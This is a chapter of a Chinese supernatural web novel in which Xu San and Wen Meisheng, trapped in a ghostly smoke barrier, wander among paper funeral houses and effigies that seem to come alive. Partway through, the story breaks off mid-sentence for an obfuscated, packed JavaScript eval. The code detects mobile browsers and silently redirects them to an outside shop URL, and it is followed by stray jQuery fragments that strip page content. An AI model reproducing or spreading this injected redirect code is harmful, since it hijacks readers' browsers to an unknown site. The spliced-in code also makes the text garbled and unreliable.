徐三听完这段往事,半晌没反应,不知道在沉思什么。
温眉生捅捅他的肩:“这算不算异于常人之处?”
徐三点点头:“算,都遇着神仙了,怎么不算?”
温眉生觉得徐三话里有话,又听不出来别的意思,也就作罢。
老太爷说温家有仙缘,这话还是说早了,不仅有仙缘,还有妖怪缘,这不,还有鬼缘。
徐三想的却是,他开火阵烧地底菌丝的时候,发现地底的菌丝没有灵识,也就是说,它们完全是凭借生存的本能寄生于人体。
而据温眉生所言,那些菌丝是有意识倾倒粮袋,要将混在稻米中的虫子借温平带出城去。
或许在十六年前,丰陵县确实存在过一只妖怪,被某个厉害的修行者发现后设下迷阵,要将它困死在城中。
直到它遇见温平。
这也能解释为什么这妖怪要潜伏于文昌庙中,因为丰陵县少有人外出做生意,而跪拜文昌帝君的多为书生,有极大可能出城赶考。
可是,为什么偏偏是温平?
思索间,温眉生突然拍拍他的手臂:“徐三你看,是不是到了?”
眼前出现一个交叉路口,一方被密林遮掩,天光黯淡,另一方是平坦的官道,沿途风景安宁,远远的能看见水田和农家。
据庆王所说,当时李宾被亲近的随从挟持,从官道转入狭窄的乡野小道,之后就消失了,连痕迹都找不到。
此时,上空正巧有一排飞燕,扑腾着翅膀一头扎进密林小道,瞬间淹没在树影中。
徐三拉着温眉生,走向了官道。
分明与庆王提供的情报相悖。
温眉生不大明白:“难道有人会在光天化日之下杀人灭口?”
徐三却说:“眼见不一定为实。”
果然,两人没走几步路,青烟突然升起,徐徐围成烟障。
天光骤暗,烟障将宽阔的大道和周围的农田都笼罩起来,渐渐的,树影将穹顶遮挡,只能看见前路幽暗的轮廓。
“青烟障?”徐三皱眉。
“什么障?”
“青烟障一出,就是有鬼,”徐三解释,“上回你从方印手中逃脱,误入青烟障,差点进了别人的坟里。”
温眉生被吓得头皮发麻,死死攥住徐三的衣袖:“你、你别吓我。”
徐三被拖得半个身子往下坠,他拧眉:“你不是人,那些鬼也拿你没办法,这么害怕做什么?”
“鬼害不了我,但是能吓唬我呀!”温眉生的理由十分正当,她攥着徐三的衣袖不放,伸手过去掏徐三的衣袋,“你还有小纸偶么?再给我一个,要是再走散了,我可就真的入鬼窝了。”
徐三被闹得没法子,只得给她捏了一个小纸人偶,温眉生把纸人偶揣在怀里,跟护身符似的。
烟障实在浓烈,徐三开了个风阵将青烟吹散了些,这才看清周围的景致。
温眉生环顾四周,惊觉:“这不是另外一条路么?是障眼法?”
徐三道:“恐怕是有人拦路。”
话音未落,前方果然出现两个半人高的影子,脚下青烟缭绕,看起来是那两只影子在往前游移。
“是人是鬼?”温眉生喊了一声,那人影不答,只是往前凑,等凑近了温眉生才发现,这俩东西既不是人也不是鬼。
是两只纸扎的童子。
一个亮红一个亮绿,脸上都画着大大的红晕,嘴唇用鲜红的颜料描了一圈,勾了个笑唇,双眼弯起,墨黑的瞳子近乎快要把眼眶填满,喜庆得十分诡异。
童子的两只纸鞋离地,就这么飘了过来,纸扎的手臂十分僵硬,一左一右伸出两臂,拦住两人。
还真是拦路鬼。
纸做的东西好对付,徐三伸手点在童子的额间,纸人顿时起了火,灰烟缭绕,林中树影层层叠叠,烟散不出去。
徐三被呛得咳嗽两声,温眉生没有呼吸,只是觉得灰烟碍眼,两手挥舞,想要将烟雾拨开。
“那是什么东西?是鬼吗?”温眉生问。
徐三解释:“是最低级的操纵术,只能操控没有灵识的东西,比如木偶、纸人,通常是用来变戏法的或者吓人。”
“吓人?还有专门学法术吓人的?”温眉生感到不可置信,“还有这么坏的人。”
“有些半路出家的术士专门研究奇门异术,哄骗他人遭了灾殃,再破财消灾,以此牟利,咳咳……”徐三觉得喉咙发干,烟太大,似乎灌进他的喉咙里。
再往前走,烟散了点,徐三这才止住了咳嗽。
远远的,温眉生看见不远处有低矮的房檐,以为有人家,往那处走去,脚下却被一团模糊不清的东西绊倒。
她低头一瞧,只见地上是一座被撞歪了的纸房子,用细竹枝做框架,糊上色彩鲜艳的彩纸,琉璃瓦片雕花窗棂,做工精巧别致,十分逼真。
再抬头,烟障散开一些,眼前同样立着一个半人高的纸扎屋,这里哪是什么乡野人家,分明是来到了人家的坟头。
温眉生抬眼望去,周围整齐地排列着两行房屋,都只有半人高,全是纸扎的,各式各样,有的门口挂白灯笼,有的挂红灯笼,有的屋里也亮着,像误入了丧葬铺子,说不出的诡异。
说起小房子,温眉生小时候闹过笑话,那会儿清源县城有个姓吴的老头,开着一家丧葬铺子,他手艺好,做出来的东西十分精妙,连寿衣都按花色、布料细分了十余种。
做出的纸扎小房子更是精巧,连屋里梳妆台的铜镜都雕出个花样来。
温平的衣冠墓立在城郊,温眉生自小就听老太爷时常念叨这位得了仙缘又机灵聪慧的兄长,那时恰逢她爹教导她要顾惜手足之情,于是她想起这位兄长来,便到吴家的丧葬铺子买了许多精巧的玩意儿,到城郊烧给温平。
她向老太爷邀功,她不只给温平烧了大宅院,还烧了十九个媳妇,一对金童玉女,让温平在九泉之下也能尽享天伦之乐。
老太爷眼角抽了半天,嘴巴张张合合,始终说不出一个字来。
她没告诉老太爷的是,因为老吴的手艺实在高妙,做出来的小房子栩栩如生,她还偷偷给自己买了一个,又找来三个纸扎的小人,分别是老太爷、爹和姨娘。
后来这纸屋子被她爹看到了,她爹也是半晌说不出个字儿来,烧也不是,不烧也不是,干脆扔到后院的池塘里,沉了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17947885|207709||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
。
温眉生年纪稍大,才知道那是给死人用的东西,烧的意思就是给死人“捎”到阴间去。
温眉生不敢动,徐三倒是不怕,挨个看过去,每个房子里都有“人”,纸扎的人。
正在此时,不知道哪里来的妖风吹过,门前的只灯笼晃荡起来,连着那点昏黄的光也飘起来,纸扎小人的影子在地上墙上游移,恍惚间让人觉得它们在动。
见到眼前这一幕,温眉生只觉得浑身的汗毛都竖起来,连忙往前走,紧跟在徐三身后,唯恐走丢了,又误入了不知是阴间还是阳间的地方去。
邪风吹得灯笼里的火烛闪烁,明明灭灭之间,温眉生注意到方才还在大门口的纸扎小人,在一亮一灭的灯光中,竟转过脸来,睁着两只墨描的、死板的眼睛盯着她。
温眉生觉得全身的皮都麻了一下,她抖着声音喊:“徐三,你等等我。”
说罢,抬起脚要走,却突然注意到底下多出来一辆马车,马车停在小道中间,灯一灭,又一亮,马车往前“行驶”,再一灭,一亮,马车从徐三脚底下钻过去。
“徐三,有车——”
温眉生戛然而止,她看见马车停靠的地方凭空多出一座纸扎屋。
马车里的人便在这阵诡异闪烁着的灯光中下了马车,停在大门前。
纸扎的小人做得十分精妙,不仅衣裳的织纹清晰,连脸部的皱纹都描得精细。
然而越像人的东西就越能让人意识到这不是人,也就越发让人感到恐怖。
温眉生见到眼前这一幕,心里也起了一层细细密密的鸡皮疙瘩,就在此时,灯光一闪后,那纸扎的小人突然把头生生扭到后背,直直地看着她。
“鬼!”
温眉生一声惊叫,仓惶后退,脚下不知被什么搬到,上半身直直摔在地上,压垮了一个纸扎屋。
烟障迷蒙,她只听见不知什么地方隐约传来几声哀嚎。
身下像是有虫子在爬,她连忙挪开,只见破碎的屋顶下正压着一个纸扎的小人。
她伸手将纸扎小人捏起来,小人的腰部被压扁,两条腿以夸张的姿势扭曲着,因为内里的是空的,腰部以下近乎被压成了一张薄纸片,两只脚在空中晃荡。
温眉生觉得惊奇,伸手捏了捏小人的腹部,腹部没有细竹枝支撑,一捏就瘪下去,小人的腰腹部突然变成了鲜亮的红色,这红色顺着裤腿往下滑落,不多时,两条腿都被染成红色。
好像活生生的人在受罪。
温眉生被这突如其来的念头惊得死去心脏猛地一跳,下意识将手里的纸扎小人扔了出去,却在小人落地后听见一声清晰的惨叫。
“徐三!有鬼!”温眉生连滚带爬,在青烟障中寻找徐三的身影,而徐三像是凭空消失了,她怎么喊都没人应声。
底下的纸扎灯笼还亮着,风吹过,地上的影子飘飘荡荡。
温眉生想起来了,徐三给了她一个小纸偶,她连忙将纸偶掏出来:“徐三!你能听见么?”
“我在。”
万幸的是,徐三很快回应了她。
“你在什么地方?我怎么找不到你。”
“我在……我家里。”